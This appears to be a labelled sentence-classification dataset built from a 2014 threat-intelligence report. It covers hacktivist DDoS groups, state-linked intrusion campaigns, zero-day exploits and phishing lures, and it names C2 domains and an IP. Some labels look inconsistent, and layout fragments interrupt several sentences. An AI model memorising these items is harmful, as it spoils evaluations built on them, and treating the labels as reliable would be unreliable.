GlobalThreatIntelReport-219	CrowdStrike Intelligence also investigated targeted attacks by CyberBerkut against Ukrainian organizations and entities operating or doing business in Ukraine .	0
GlobalThreatIntelReport-220	CyberBerkut was first observed in March 2014 when it made statements about the illegitimacy of the government that took over Ukraine Notable Activity upon the ousting of former president , Viktor Yanukovych .	0
GlobalThreatIntelReport-221	Around this same time , the group launched DDoS attacks against state - controlled media in the country as well as against NATO entities such as the Cooperative Cyber Defense Center of Excellence ( CCDCOE ) .	0
GlobalThreatIntelReport-222	In April , CyberBerkut claimed responsibility for defacing the websites of several private military companies – Greystone , Triple Canopy , and Academi – that they claimed were operating on the ground in Ukraine .	0
GlobalThreatIntelReport-223	CyberBerkut 's operations during 2014 were very much in line with the priorities of the Russian state ; however , it is unclear if its activity is directly state sponsored or if it is an independent group carrying out attacks motivated by Russian nationalistic ideals .	0
GlobalThreatIntelReport-224	Umbrella Revolution First observed in late 2013 , the People 's Republic of China ( PRC ) steadily increased the use of its intelligence services and cyber operations in Hong Kong as part of a response to the protests supporting universal suffrage and democracy headed by Occupy Central ( 和平占中 ) .	0
GlobalThreatIntelReport-225	The Hong Kong protests fueled fears in the Chinese Communist Party ( CCP ) , which perceives them as a threat to its one - party rule in mainland China .	0
GlobalThreatIntelReport-226	This perceived threat likely prompted the flurry of malicious cyber activity taken against various organizations and citizens operating in support of the protests within Hong Kong , later dubbed the Umbrella Revolution .	0
GlobalThreatIntelReport-227	The methods used were a smattering of cyber tactics and human intelligence ( HUMINT ) methods to collect information about leaders of the Occupy Central Movement and locations of its supporters , as well as to gain an overall picture of Hong Kong citizens ' perception of the protests .	0
GlobalThreatIntelReport-228	This began with strategic web compromises of key websites associated with Occupy Central in late 2013 , followed by extensive HUMINT activities carried out in early 2014 by suspected Ministry of State Security ( MSS ) officers likely Notable Activity designed to elicit information from influential figures in Hong Kong and pressure them to support Beijing 's stance in exchange for gifts .	0
GlobalThreatIntelReport-229	The protests reached a critical point when a democratic online referendum was held in June 2014 calling for open elections of Hong Kong 's chief executive .	0
GlobalThreatIntelReport-230	At the peak of voting , the online hosting system , Popvote ( which at one point exceeded 500 gbps of traffic ) , suffered a massive DDoS attack .	0
GlobalThreatIntelReport-231	The attackers were persistent and scaled their attacks as defenders responded to the attack , starting with Layer 3 and 4 attacks and progressively using more advanced Layer 7 attacks .	0
GlobalThreatIntelReport-232	Though the voting system did persist and drew more than 780,000 votes , the apparent effort the PRC went through to down the referendum was substantial .	0
GlobalThreatIntelReport-233	As the protests persisted , the PRC appeared to increase its attempts to monitor the protestors by proliferating mobile malware for both the Android and iOS operating systems .	0
GlobalThreatIntelReport-234	The mobile Remote Access Tools ( mRATs ) were authored by two individuals with extensive ties to legacy Chinese hackers and were likely contracted out to customize malware for the purpose of monitoring protestors ' communications and physical locations .	0
GlobalThreatIntelReport-235	In addition to these specialized attacks and extensive censorship of the Umbrella Revolution in mainland China , the PRC appears to have taken a shotgun approach to handling the protests as they persisted .	0
GlobalThreatIntelReport-236	Several known China - based groups including MAVERICK PANDA , VIXEN PANDA , TEMPER PANDA , SABRE PANDA , and HURRICANE PANDA were observed participating in activity related to the protests , suggesting a possible cross- divisional tasking as the CCP saw support for the protests increase .	0
GlobalThreatIntelReport-237	This demonstrates the variety of approaches China has when dealing with a threat to the CCP 's one - party rule .	0
GlobalThreatIntelReport-238	Along with the mobile targeting of most of the citizens of Hong Kong , it shows a new level of brazenness that is becoming increasingly common in Chinese cyber operations .	0
GlobalThreatIntelReport-239	LizardSquad / DerpTrolling DerpTrolling The hacking collective DerpTrolling made early 2014 media headlines Notable Activity after claiming a string of DDoS attacks on multiple gaming companies and online gaming servers .	0
GlobalThreatIntelReport-240	The group likely originated out of the Steam gaming community , where some of its suspected members engaged in early DDoS attacks on rival gaming clans and their servers .	0
GlobalThreatIntelReport-241	"DerpTrolling 's antics were often childish and had no clear motive other than being "" for the lulz "" and to boost their own egos ."	0
GlobalThreatIntelReport-242	For this reason , they can not be classified as hacktivists .	0
GlobalThreatIntelReport-243	Despite their immaturity , the collective was able to consistently carry out DDoS attacks on targets of their choosing , and these attacks had a real - world effect on the victims within the gaming community .	0
GlobalThreatIntelReport-244	The attacks were particularly noteworthy as their DDoS tool , dubbed the Gaben Laser Beam ( GLB ) after Gabe Newell , the creator of Half - Life and the Steam community , supposedly created an attack that exceeded 400 gbps of network traffic utilizing a NTP reflection attack .	0
GlobalThreatIntelReport-245	This suggested DerpTrolling possessed an above - average knowledge of network protocols .	0
GlobalThreatIntelReport-246	"While NTP reflection is commonly known in the security community , most "" script kiddies "" or "" skids "" were not aware of some of these more advanced techniques involving amplification , which allows for fewer devices needed to pull off larger DDoS attacks ."	0
GlobalThreatIntelReport-247	DerpTrolling has reportedly had several run - ins with law enforcement , though it is unclear how much of this is verifiable versus a ploy to increase their notoriety .	0
GlobalThreatIntelReport-248	One supposed encounter resulted in the group going silent for several months before returning and carrying out lower - level attacks on the gaming community once again .	0
GlobalThreatIntelReport-249	Given the collective 's poor operational security practices , it is likely that the members are actively being tracked by law enforcement agencies and that they can not continue to maintain high- profile attacks while evading capture .	0
GlobalThreatIntelReport-250	LizardSquad Another group to begin DDoS operations targeting the gaming community in 2014 is LizardSquad .	0
GlobalThreatIntelReport-251	The group was characterized by DerpTrolling as much less skilled , however there may be some overlap of members between the groups .	0
GlobalThreatIntelReport-252	At this time , LizardSquad has not shown any of the more advanced amplification techniques used previously by DerpTrolling .	0
GlobalThreatIntelReport-253	LizardSquad quickly rose to prominence after several media stunts drew Notable Activity significant attention from the press as well as law enforcement .	0
GlobalThreatIntelReport-254	LizardSquad not only began claiming to be affiliates of the Islamic State of Iraq and Syria ( ISIS ) , but also called in a bomb threat , grounding a flight on which a Sony Online Entertainment executive was a passenger .	0
GlobalThreatIntelReport-255	Though the group appears to have no terrorist ties , their antics quickly gained them notoriety .	0
GlobalThreatIntelReport-256	LizardSquad has even poorer operational security practices than DerpTrolling , which allowed CrowdStrike to easily provide attribution on possible members of the group .	0
GlobalThreatIntelReport-257	In addition , the group also admitted to renting botnets and running booters , confirming that their skill level is relatively low .	0
GlobalThreatIntelReport-258	Despite this , the threat they posed to gaming companies was still noteworthy , especially when combined with terrorist threats ; although they were bluster , they still had considerable real - world consequences .	0
GlobalThreatIntelReport-259	DEADEYE JACKAL : Far From Dead Although DEADEYE JACKAL does n't have the kind of coverage it once had in the media around its high- profile hacks , the group is still active .	0
GlobalThreatIntelReport-260	It still conducts the occasional mass defacements and is focusing on improving and strengthening its dissemination pathways , including migrating to more private social media and adding a mobile site and Android app .	0
GlobalThreatIntelReport-261	DEADEYE JACKAL even developed and released its own Linux - based operating system , called SEANux , at the end of October 2014 .	0
GlobalThreatIntelReport-262	DEADEYE JACKAL continues its international censorship of online articles that it deems detrimental to Syria or to Syrian President Bashar Assad .	0
GlobalThreatIntelReport-263	On Thanksgiving , the group defaced just over 60 websites , including media websites.1 The websites were primarily from the United States and the United Kingdom but also included Japan , Canada , the Philippines , New Zealand , Mexico , and South Africa .	0
GlobalThreatIntelReport-264	"A message on DEADEYE JACKAL 's Twitter account showed possible motivations outside of opportunistic targeting , saying "" The press : Please do n't pretend # ISIS are civilians "" ."	0
GlobalThreatIntelReport-265	"The most recent cyber attack by DEADEYE JACKAL was on 18 December 2014 , when the group hacked the website of the International Business Times to remove an article due to its coverage of Syria , which DEADEYE 1 "" Syrian Electronic Army hacks several websites , Forbes , Ferrari , Independent , Daily Telegraph and many other websites hijacked "" , 27 November 2014 , http://www.techworm ."	0
GlobalThreatIntelReport-266	"net/2014/11/syrian - electronic - army - hacks - sev- eral - websites - forbes - ferrari - independent - dai- ly-telegraph-many-websites-hijacked.html 2 "" Syrian Electronic Army hacks International Business Times ( IBT ) for alleged false coverage of Syria "" , 18 December 2014 , http://www ."	0
GlobalThreatIntelReport-267	"techworm.net/2014/12/syrian - electronic - ar- my-hacks-international-business-times.html 3 See "" The Syrian Army is Shrinking , and Assad is Running Out of Soldiers "" , 17 December 2014 , http://www.ibtimes.com/ syrian - army - shrinking - assad- running - out - soldiers-1761914 Notable Activity JACKAL perceived as false.2 The deleted article discussed depleting military resources of President Assad , in terms of soldiers , since the start of the U.S."	0
GlobalThreatIntelReport-268	campaign in Syria against the Islamic State .	0
GlobalThreatIntelReport-269	The article , however , was soon reposted by the International Business Times and remains available.3 DEADEYE JACKAL used to be limited to operating through its website , Twitter account , and Facebook account , which proved problematic in some ways since their communications could be terminated more easily when Twitter or Facebook decided to shut down their accounts .	0
GlobalThreatIntelReport-270	It became a joke to DEADEYE JACKAL how many Facebook pages it could start up that would be shut down .	0
GlobalThreatIntelReport-271	However , DEADEYE JACKAL did realize that more stable and varied dissemination pathways for their messaging were needed .	0
GlobalThreatIntelReport-272	Additionally , the group decided it also needed communications that would have less chance of being monitored by its enemies .	0
GlobalThreatIntelReport-273	In September 2013 , DEADEYE JACKAL changed its email provider from Gmail to Mail.ru .	0
GlobalThreatIntelReport-274	The change was likely a result of suspicions that their emails were being monitored in light of the leaks made by Edward Snowden earlier in 2013 .	0
GlobalThreatIntelReport-275	In other moves to protect privacy , DEADEYE JACKAL opened up accounts with VK , formerly VKontakte4 ( the Russia - based social media website similar to Facebook owned by Mail.ru Group and Ello5 ) , a new social media website that boasts that it does not sell ads or its users ' data to advertisers .	0
GlobalThreatIntelReport-276	It also does not allow any data mining against the users of its site .	0
GlobalThreatIntelReport-277	DEADEYE JACKAL also launched a mobile site for its website and an Android app .	0
GlobalThreatIntelReport-278	These are all in addition to the group 's already - established accounts on Pinterest6 , Instagram7 , YouTube8 , and Twitter9 .	0
GlobalThreatIntelReport-279	Most notably , the group developed and released its own operating system , called SEANux .	0
GlobalThreatIntelReport-280	SEANux offers little overall improvement over other Linux- based systems like Kali or BackTrack .	0
GlobalThreatIntelReport-281	SEANux automatically loads a desktop system monitor that makes several network requests , creating a sidebar .	0
GlobalThreatIntelReport-282	The sidebar provides the user information about the system , running processes , weather ( Damascus , DI , Syria ) , currency rates , and some other high - level information .	0
GlobalThreatIntelReport-283	Also on this side bar is a small window with a feed of news from DEADEYE JACKAL 's website10 .	0
GlobalThreatIntelReport-284	Notable Activity The most notable aspect of SEANux is the tools it offers .	0
GlobalThreatIntelReport-285	SEANux offers some standard offensive / pentesting tools , including Metasploit Framework , SQLMap , nMap , Aircrack , and John the Ripper .	0
GlobalThreatIntelReport-286	There is also an included directory with other miscellaneous PHP and Perl scripts , however most of these do not appear to be created by DEADEYE JACKAL .	0
GlobalThreatIntelReport-287	SEANux also offers a custom set of offensive / pentesting tools including .	0
GlobalThreatIntelReport-288	DEADEYE JACKAL has not attempted the ruse that Anonymous did in 2012 when they released Anonymous - OS , which was found to be riddled with Trojans .	0
GlobalThreatIntelReport-289	SEANux does connect to some DEADEYE JACKAL - controlled Notable Activity resources such as their RSS feed , images in the webshells , and a Firefox custom SEANux homepage .	0
GlobalThreatIntelReport-290	It is possible for DEADEYE JACKAL to monitor to see who is connecting to these resources , but outside of that , the operating system functions normally .	0
GlobalThreatIntelReport-291	FRATERNAL JACKAL In 2012 and 2013 , a four - phased attack known as Operation Ababil , or OpAbabil , was conducted by a group of Iranian actors targeting U.S.	0
GlobalThreatIntelReport-292	financial institutions with DDoS attacks .	0
GlobalThreatIntelReport-293	This adversary , which CrowdStrike tracks under the name FRATERNAL JACKAL , has been suspected of having ties to the Iranian government .	0
GlobalThreatIntelReport-294	It has been known to increase attack volume during periods of economic tension between Iran and western countries .	0
GlobalThreatIntelReport-295	Despite suspicion of political motivations , the group has publicly attested in several Pastebin.com posts that the motivation for these attacks are negative depictions of the Muslim Prophet Muhammad in several YouTube videos .	0
GlobalThreatIntelReport-296	Attacks from this adversary group have been primarily conducted using a botnet of public - facing web servers that have been exploited through vulnerable Content Management Systems ( CMS ) .	0
GlobalThreatIntelReport-297	Unlike traditional botnets in which infected hosts connect to control servers for tasking , within FRATERNAL JACKAL 's botnet , nodes are directly tasked by the adversary through multiple layers of infrastructure .	0
GlobalThreatIntelReport-298	CrowdStrike Intelligence continued to actively investigate this adversary during 2014 , specifically seeking means by which it propagated its botnet .	0
GlobalThreatIntelReport-299	In October , a PHP script was identified in connection with this adversary .	0
GlobalThreatIntelReport-300	This script is used for scanning lists of domains by parsing each domain 's robots.txt file to identify any server running the CMS Joomla .	0
GlobalThreatIntelReport-301	Domains identified from this script are directly posted to a hard - coded control server , something not seen previously by CrowdStrike with this adversary 's toolkit .	0
GlobalThreatIntelReport-302	Normally , performing server reconnaissance by parsing the robots.txt file of a server is a trivial task .	0
GlobalThreatIntelReport-303	However , when looked at in the context of this adversary 's strategic operations , it suggests that the adversary is not only Notable Activity using their first - stage infrastructure for offensive actions against targets , but also for further expansion of their botnet .	0
GlobalThreatIntelReport-304	Despite FRATERNAL JACKAL no longer publicly posting motivations and notices of upcoming attacks to Pastebin , their botnet remains online and capable of performing attacks .	0
GlobalThreatIntelReport-305	It is likely that in the event of future tensions between Iran and western countries , this group may publicly resurface and continue their attack campaigns .	0
GlobalThreatIntelReport-306	2014 Zero - Day Activity The occurrence of a zero - day , or a previously unknown vulnerability being exploited in the wild , is generally an unusual occurrence .	0
GlobalThreatIntelReport-307	These events almost always tell an interesting story when they are initially discovered .	0
GlobalThreatIntelReport-308	During the course of 2014 , there were hundreds of newly identified vulnerabilities that were categorized by Mitre under the Common Vulnerabilities and Exposures ( CVE ) system .	0
GlobalThreatIntelReport-309	Many of these were identified by researchers or vendors through auditing and other proactive security reviews .	0
GlobalThreatIntelReport-310	In some cases , the vulnerabilities were first identified being used by adversaries ( the development and proliferation of those vulnerabilities are a fascinating component of the threat landscape ) .	0
GlobalThreatIntelReport-311	There were several such events that occurred this year ; three are particularly interesting from an adversary perspective , namely CVE-2014 - 0322 , CVE-2014 - 4113 , and CVE- 2014 - 1761 .	0
GlobalThreatIntelReport-312	There were numerous interesting exploits identified this year , many used by various adversaries such as the SSL Heartbleed attack ( CVE- 2014 - 0160 ) and the ShellShock Bourne Again Shell ( BASH ) vulnerabilities ( CVE-2014 - 6271 , CVE-2014 - 6277 , CVE-2014 - 6278 , CVE-2014 - 7169 , CVE- 2014 - 7186 , and CVE-2014 - 7187 ) .	0
GlobalThreatIntelReport-313	"These exploits were not necessarily exemplary of the related adversary narrative that helps to determine the "" who "" behind the attacks that CrowdStrike focuses on from an intelligence standpoint ."	0
GlobalThreatIntelReport-314	CVE-2014 - 0322 - Internet Explorer Arbitrary Code Execution This zero - day vulnerability in Microsoft Internet Explorer allowed code execution via specially crafted JavaScript code , making it ideal for Strategic Notable Activity Web Compromise ( SWC ) or drive - by operations .	0
GlobalThreatIntelReport-315	There were two primary campaigns associated with CVE-2014 - 0322 .	0
GlobalThreatIntelReport-316	The first to be publicly identified occurred in February 2014 and was hosted on the website of the Veterans of Foreign Wars ( VFW ) .	0
GlobalThreatIntelReport-317	This incident delivered a fairly common , publicly available RAT called ZxShell , which connected to a C2 at newss.effers.com .	1
GlobalThreatIntelReport-318	This is a domain that CrowdStrike associates with the AURORA PANDA adversary .	0
GlobalThreatIntelReport-319	Investigation into the VFW incident led to the discovery of other sites ( savmpet.com , gifas.assso.net , and icbcqsz.com ) also hosting this exploit code .	0
GlobalThreatIntelReport-320	These sites not only shared the same IP address as each other , but also contained the same content that was taken from the website for the French aerospace industries association , Groupement des Industries Fran aises A ronautiques et Spatiales ( GIFAS ) .	0
GlobalThreatIntelReport-321	The dates visible on these webpages and those dates found in the pages ' source code indicated that they were created on 17 January 2014 , which predated the VFW incident by nearly a month .	0
GlobalThreatIntelReport-322	However , this operation utilized drive - by tactics rather than SWC because the sites hosting the code were controlled by the adversary and not compromised legitimate sites .	0
GlobalThreatIntelReport-323	The GIFAS - related activity delivered a different malware payload ( Sakula ) than the VFW incident ( ZxShell ) .	0
GlobalThreatIntelReport-324	The Sakula payload communicated with an entirely different C2 infrastructure than the ZxShell , oa.ameteksen.com .	0
GlobalThreatIntelReport-325	This indicates that a different adversary was responsible for the GIFAS- related SWC operation .	0
GlobalThreatIntelReport-326	Further investigation into this activity showed a number of similarities to a 2012 zero - day ( CVE-2012 - 4792 ) SWC campaign that leveraged the website of a U.S .- based manufacturer , Capstone Turbine .	0
GlobalThreatIntelReport-327	These similarities were : the use of Sakula malware , GIFAS - based subdomains related to both incidents , and the use of zero - day vulnerabilities .	0
GlobalThreatIntelReport-328	At the end of 2014 , CrowdStrike Intelligence also discovered potential links between this adversary and its HURRICANE PANDA adversary ( discussed in more detail below ) ; however , evaluation of these connections is still ongoing .	0
GlobalThreatIntelReport-329	CVE-2014 - 4113 – Local Privilege Escalation Every now and then , an adversary reveals their trump card when they Notable Activity become desperate for access to a victim 's infrastructure .	0
GlobalThreatIntelReport-330	This occurred in October 2014 when the Chinese adversary tracked by CrowdStrike as HURRICANE PANDA deployed a tool called Win64.exe on a compromised system that was used to invoke other programs with elevated privileges .	1
GlobalThreatIntelReport-331	Analysis of the Win64.exe binary revealed that it exploits a previously unknown vulnerability to elevate its privileges to those of the SYSTEM user and then create a new process with these access rights to run the command that was passed as an argument .	1
GlobalThreatIntelReport-332	The file itself is only 55 kilobytes in size and contains just a few functions .	0
GlobalThreatIntelReport-333	First , the exploit gained kernel execution by corrupting memory in the Windows window manager and used this increased level of authority to overwrite an access token in the EPROCESS structure of the user - mode process with that of the SYSTEM process .	0
GlobalThreatIntelReport-334	From this elevation , any command passed to the executable was executed with elevated privileges .	1
GlobalThreatIntelReport-335	The vulnerability was present in both 32-bit and 64-bit architectures of Windows from Windows XP to Windows 7 .	0
GlobalThreatIntelReport-336	The code to perform these steps is extremely well written and fully reliable .	0
GlobalThreatIntelReport-337	The adversary has gone through considerable effort to minimize the chance of its discovery .	0
GlobalThreatIntelReport-338	The exploit tool was only deployed when absolutely necessary during the intrusion operations , and it was deleted immediately after use .	1
GlobalThreatIntelReport-339	A build timestamp of the Win64.exe binary of 3 May 2014 suggests that the vulnerability was actively exploited in the wild for at least five months prior to discovery .	0
GlobalThreatIntelReport-340	What is more , after being able to characterize the exploit , earlier versions were found that indicate constant development of privilege - escalation tools .	0
GlobalThreatIntelReport-341	In fact , some tools were found with exploits for similar vulnerabilities that have been addressed by Microsoft in patches released earlier in 2014 .	0
GlobalThreatIntelReport-342	These tools share an overall structure with the new one , indicating that the same code was used to weaponize privilege- escalation exploits for different security bugs .	0
GlobalThreatIntelReport-343	These observations suggest that HURRICANE PANDA maintains an arsenal of exploits for unpatched privilege - escalation vulnerabilities .	0
GlobalThreatIntelReport-344	two thousand fourteen CrowdStrike Global Threat Intel Report Notable Activity This case underlines the necessity of tight endpoint monitoring in order to detect adversary behavior like this .	0
GlobalThreatIntelReport-345	Within days of discovering the use of the exploit , CrowdStrike reported the vulnerability and a proof of concept to Microsoft , which subsequently released security bulletin MS14 - 058 , as well as patches for all affected platforms .	0
GlobalThreatIntelReport-346	CVE-2014 - 1761 - Microsoft Word Remote Code Execution In 2014 , CrowdStrike Intelligence spent a significant amount of time investigating operations that leveraged the new Microsoft Word exploit , CVE-2014 - 1761 .	0
GlobalThreatIntelReport-347	The exploit for this vulnerability was a bit complex , but if successful it allowed for remote code execution .	0
GlobalThreatIntelReport-348	Cybercrime adversaries were the first to use the exploit in the wild ; however , its use soon proliferated to Russia- and China - based targeted intrusion adversaries .	0
GlobalThreatIntelReport-349	The proliferation of an exploit such as CVE-2014 - 1761 across several adversaries is not unprecedented , but it does illustrate the possible ways in which actors are connected .	0
GlobalThreatIntelReport-350	In this instance , cybercrime actors were the first observed using the exploit in the wild .	0
GlobalThreatIntelReport-351	Several weeks later targeted intrusion adversaries began leveraging it in their operations .	0
GlobalThreatIntelReport-352	The most likely explanation for this is that targeted intrusion adversaries were able to rediscover and develop the exploit code once a vendor advisory was released .	0
GlobalThreatIntelReport-353	Notable Activity This seems to be the most likely because Microsoft released its initial advisory on the exploit in late March , and targeted activity began in early April .	0
GlobalThreatIntelReport-354	However , another possible proliferation pathway for the exploit is a direct pass from a cybercrime actor to a targeted intrusion actor .	0
GlobalThreatIntelReport-355	It is also possible that individuals involved in cybercrime operations are also carrying out targeted intrusion operations and were able to use the exploit for both purposes .	0
GlobalThreatIntelReport-356	CrowdStrike Intelligence also discovered a simple builder program , which allowed malicious actors to automatically build CVE-2014 - 1761 exploit documents .	0
GlobalThreatIntelReport-357	This allows for a decoy document and malicious executable to be combined with a malicious CVE-2014 - 1761 document .	1
GlobalThreatIntelReport-358	The Chinese characters show that it was meant for use by Chinese adversaries , and could explain how it so easily proliferated among China - based adversaries .	0
GlobalThreatIntelReport-359	PITTY PANDA is one actor who actively developed the capability to use this exploit .	0
GlobalThreatIntelReport-360	This actor is interesting in that they exhibit a remarkably disparate level of sophistication .	0
GlobalThreatIntelReport-361	On the one hand , the actor has proven to be one of the early groups that are able to successfully weaponize documents with an exploit for CVE-2014 - 1761 , showing a notable level of competence in this specific matter .	0
GlobalThreatIntelReport-362	On the other hand , this adversary exhibits lack of two thousand fourteen CrowdStrike Global Threat Intel Report Notable Activity consistence or expertise in certain other areas .	0
GlobalThreatIntelReport-363	For example , the re - use of C2 domains ending in .tw certainly sticks out in target environments unrelated to Taiwan .	0
GlobalThreatIntelReport-364	This was observed in attacks against western aerospace and defense companies during 2014 .	0
GlobalThreatIntelReport-365	Recent CrowdStrike analysis on PITTY PANDA has revealed that this actor has been operating for a longer time frame than previously assumed .	0
GlobalThreatIntelReport-366	The activity likely goes back as far as June 2005 , resulting in a total operational window of more than nine years .	0
GlobalThreatIntelReport-367	PITTY PANDA has used at least three different RAT families , some of which have undergone continuous development .	0
GlobalThreatIntelReport-368	PITTY PANDA has recently shifted their target profile toward the aerospace and defense sectors , introducing a new aspect this actor 's operations .	0
GlobalThreatIntelReport-369	The overall goal of much of PITTY PANDA 's past activity appeared to be intelligence - gathering operations of a political nature , but more recent operation point more toward the theft of intellectual property .	0
GlobalThreatIntelReport-370	The development and adaptation of client - side exploits such as CVE-2014 - 1761 may indicate that this actor is seeking to further expand operations by investing in technical capabilities to pursue harder targets than they have previously attacked .	0
GlobalThreatIntelReport-371	Event - Driven Operations Malaysia Airlines Incidents Malaysia Airlines suffered two catastrophic incidents in 2014 .	0
GlobalThreatIntelReport-372	In March , one of its flights ( MH370 ) from Kuala Lumpur to Beijing mysteriously disappeared less than an hour after takeoff .	0
GlobalThreatIntelReport-373	In July , another of its flights ( MH17 ) from Amsterdam to Kuala Lumpur was shot down while flying over a conflict zone in Ukraine .	0
GlobalThreatIntelReport-374	These events received large amounts of attention in the press , and the controversy and mystery surrounding them made the incidents ideal for targeted intrusion adversaries to use in their operations .	0
GlobalThreatIntelReport-375	Operations leveraging the MH370 incident in spear phish email began within days of the accident .	0
GlobalThreatIntelReport-376	The TEMPER PANDA adversary was particularly prolific in its use of MH370-related emails to deliver malicious documents that Notable Activity dropped malware connecting to a known TEMPER PANDA C2 address , www . verizon.proxydns.com .	1
GlobalThreatIntelReport-377	Activity from the LOTUS PANDA adversary and an actor using Naikon malware was also observed .	0
GlobalThreatIntelReport-378	Additionally , CrowdStrike identified an incident carried out by an adversary believed to have a nexus to Pakistan .	0
GlobalThreatIntelReport-379	This attack used a malicious zip archive containing a file named Malaysia Airline MH370 hijacked by Pakistan.scr .	0
GlobalThreatIntelReport-380	It delivered malware more commonly known as BitterBug , which used a C2 at IP address 199.91.173.45 .	0
GlobalThreatIntelReport-381	Operations related to the MH17 crash appeared to be more limited , but also began within days of the incident .	0
GlobalThreatIntelReport-382	A number of incidents from China - based adversaries were observed like the one identified on 22 July 2014 leveraging a decoy document concerning the black boxes on MH17 and NetTraveler malware connecting to a C2 at www.gobackto.net .	0
GlobalThreatIntelReport-383	The Russia - based adversary known to CrowdStrike as FANCY BEAR also piggybacked on the MH17 disaster , targeting victims with the Sofacy malware dropped alongside a document concerning the cessation of hostilities around the crash site .	0
GlobalThreatIntelReport-384	Conflict in Ukraine The conflict in Ukraine has been the motivation for a significant amount of targeted intrusion operations and other malicious cyber activity .	0
GlobalThreatIntelReport-385	The conflict was leveraged to conduct operations targeting entities in Ukraine , Russia , and other countries with interests in the region .	0
GlobalThreatIntelReport-386	China - based adversaries were active in targeting around this conflict .	0
GlobalThreatIntelReport-387	A significant amount of the activity from Chinese actors was related to the MH17 disaster discussed above .	0
GlobalThreatIntelReport-388	While other malicious operations related to these events targeted Ukrainian entities , most of the activity from China- based actors appeared to be targeted at Russian organizations .	0
GlobalThreatIntelReport-389	Numerous incidents were identified leveraging Russian - language lures with content concerning security in Ukraine , such as the one below that was observed in an incident from September using PlugX malware calling to chromeupdate .	0
GlobalThreatIntelReport-390	authorizeddns.org and googlesupport.proxydns.com .	0
GlobalThreatIntelReport-391	Notable Activity One of the primary reasons for this increase in Russian targeting by China- based adversaries is likely that ties between China and Russia have recently been growing stronger .	0
GlobalThreatIntelReport-392	In May 2014 , the two countries agreed on a $ 400 billion deal for Russia to supply natural gas to China .	0
GlobalThreatIntelReport-393	Additionally , they reached agreements over the construction of a bridge between the countries and the use of a port in eastern Russia ; they also revealed a plan to set up GPS ground stations in each other 's country .	0
GlobalThreatIntelReport-394	This interaction between the two countries increasingly makes Russia a target of interest for Chinese targeted intrusion operations .	0
GlobalThreatIntelReport-395	In addition to the China - based activity , CrowdStrike Intelligence also identified an interesting set of targeted activity apparently focused on targets within Russia .	0
GlobalThreatIntelReport-396	The actor responsible employs a rather complex piece of malware that uses polymorphic DLLs and filenames customized on a per - deployment basis .	0
GlobalThreatIntelReport-397	The malware was dropped alongside a wide variety of malicious documents containing exploit code for either CVE-2012 - 0158 or CVE-2014 - 1761 .	0
GlobalThreatIntelReport-398	Related decoy documents were both Russian and English language and contained content pertaining to Russia such as the Ukrainian conflict , an advertisement for the sale of a car from the German embassy in Moscow , and an invitation to a Russian university conference on space technology .	0
GlobalThreatIntelReport-399	The actor abuses legitimate cloud infrastructure for its C2 .	0
GlobalThreatIntelReport-400	Notable Activity High Volume of Southeast Asia Targeting Governments in Southeast Asia and organizations doing business in the region have been popular targets for China - based targeted intrusion operations for years .	0
GlobalThreatIntelReport-401	China is generally interested in Southeast Asia because of its proximity and its desire to monitor activity in the region in order to retain a strategic advantage .	0
GlobalThreatIntelReport-402	However , during 2014 , China was more specifically motivated to carry out targeted intrusion operations in the region by tensions between it and other Southeast Asian nations , primarily Vietnam and the Philippines , due to disputes over territorial rights in the South China Sea .	0
GlobalThreatIntelReport-403	The South China Sea has long been a source of tension between China and other Southeast Asian nations .	0
GlobalThreatIntelReport-404	The United Nations ( UN ) attempted to ease these tensions in its 1982 Convention on the Law of the Sea , which granted countries in the region rights to marine and energy resources within a certain range of their coast .	0
GlobalThreatIntelReport-405	This was meant to give all countries in the region some claim to vital trade routes and to the vast energy resources believed to exist there .	0
GlobalThreatIntelReport-406	China disputes the UN - granted rights and stakes a historical claim to almost the entire South China Sea .	0
GlobalThreatIntelReport-407	Tensions really boiled over in May 2014 when a Chinese state - owned energy company placed an oil rig , HD-981 , in Vietnamese territorial waters .	0
GlobalThreatIntelReport-408	The rig was deployed close to the Paracel Islands , which are claimed by both China and Vietnam .	0
GlobalThreatIntelReport-409	The presence of the rig precipitated continuous clashes between Chinese and Vietnamese vessels , violent protests of Chinese businesses in Vietnam , and elevated tensions between China and other nations in the region such as the Philippines .	0
GlobalThreatIntelReport-410	It was during this time in May 2014 when China - based targeted intrusion activity against entities in Southeast Asia increased significantly .	0
GlobalThreatIntelReport-411	The uptick was likely due to Chinese interest in monitoring reaction of government and other organizations in the region .	0
GlobalThreatIntelReport-412	Numerous adversaries ( primarily GOBLIN PANDA , VIXEN PANDA , LOTUS PANDA , PREDATOR PANDA , and PIRATE PANDA ) and numerous malware variants ( PlugX , Poison Ivy , Mirage , Enfal , and Naikon ) were observed being used in these operations .	0
GlobalThreatIntelReport-413	Notable Activity Observed targeting by country - may 2014 Observed targeting by country - june 2014 CrowdStrike Intelligence observed that GOBLIN PANDA and VIXEN PANDA were the adversaries most actively targeting Southeast Asia .	0
GlobalThreatIntelReport-414	GOBLIN PANDA activity was heavily weighted towards Vietnamese targets .	0
GlobalThreatIntelReport-415	This adversary used multiple malware variants during this period , but over time switched over almost entirely to PlugX malware .	0
GlobalThreatIntelReport-416	Based on the decoy documents used in the incidents , it appears that Vietnamese government organizations were a primary target ( although private sector targeting of foreign companies was observed as well ) , as the Notable Activity decoys were often Vietnamese government documents .	0
GlobalThreatIntelReport-417	The screenshot below is an example of one of these decoys , with this one related to Vietnam 's Fisheries Protection Department .	0
GlobalThreatIntelReport-418	A reference to the HD-981 oil rig can be seen in the first sentence .	0
GlobalThreatIntelReport-419	The C2 domain for the malware used in conjunction with this document was dns.dubkill.com .	0
GlobalThreatIntelReport-420	In the regional targeting surrounding these events , VIXEN PANDA activity was observed focusing mostly on the Philippines , particularly in the area of defense .	0
GlobalThreatIntelReport-421	Pictured below is a decoy document from an incident identified in April .	0
GlobalThreatIntelReport-422	"The only content is a header marked "" Secret "" with the letterhead for the Philippines Naval Operation Center ."	0
GlobalThreatIntelReport-423	The malware used in this incident was Mirage , installed using DLL side - loading , which takes advantage of the search order the operating system goes through to load DLLs .	0
GlobalThreatIntelReport-424	This particular sample Notable Activity used NVIDIA - related files often seen with PlugX to side - load the Mirage payload .	0
GlobalThreatIntelReport-425	The C2 for the malware in this incident was todaynews.dns-dns.com .	0
GlobalThreatIntelReport-426	The Southeast Asia activity declined dramatically at the end of August , which coincided with the time that China removed HD-981 from Vietnamese waters .	0
GlobalThreatIntelReport-427	A slight spike occurred in October when PIRATE PANDA and VIXEN PANDA stepped up targeting of Vietnam and the Philippines again , possibly due to arms acquisitions by Vietnam meant to bolster its maritime security capabilities .	0
